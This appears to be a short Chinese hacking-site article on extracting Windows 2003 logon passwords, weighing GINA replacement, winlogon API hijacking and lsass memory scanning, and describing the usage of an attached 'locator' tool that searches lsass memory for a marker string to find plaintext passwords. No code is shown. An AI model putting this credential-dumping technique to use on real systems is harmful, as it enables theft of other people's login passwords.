如何在win 2003中得到登陆密码

核心提示: 无论怎说,三种方法中,如何在win 2003中得到登陆密码(3),最稳定,最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法,并进行模拟登陆,然后搜索"密码"在lsass进程内存中的位置,毕竟是改动了系统的东西,对系统的稳定性来说

无论怎说,三种方法中,最稳定,最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法,毕竟是改动了系统的东西,对系统的稳定性来说,会有考验,直接搜索lsass进程内存的方法呢,虽说也是困难,但准确性,成功率却又是低。

下面的代码使用的是很笨,而且很原始的搜索方法,主要是搜索Lsass内存中"LocalSystem Remote Procedure"这个字符串,因为在相当多的测试中,密码都是保存在有这个字符串的地址后一点的位置中,当然了,很多系统并没有这个字符串,或者就算有,我们得到的都是错误的密码。

附件程序相当于密码定位程序,用来测试在lsass内存中搜索指定的字符串或模拟登陆的密码.

用法:

1.locator 字符串 -> 在lsass进程内存中搜索指定的那个"字符串",返回确定的位置

2.Locator 用户名 密码 -> 在系统中建立一个参数指定的用户,并进行模拟登陆,然后搜索"密码"在lsass进程内存中的位置,生成的帐户程序运行完后会自动删除。
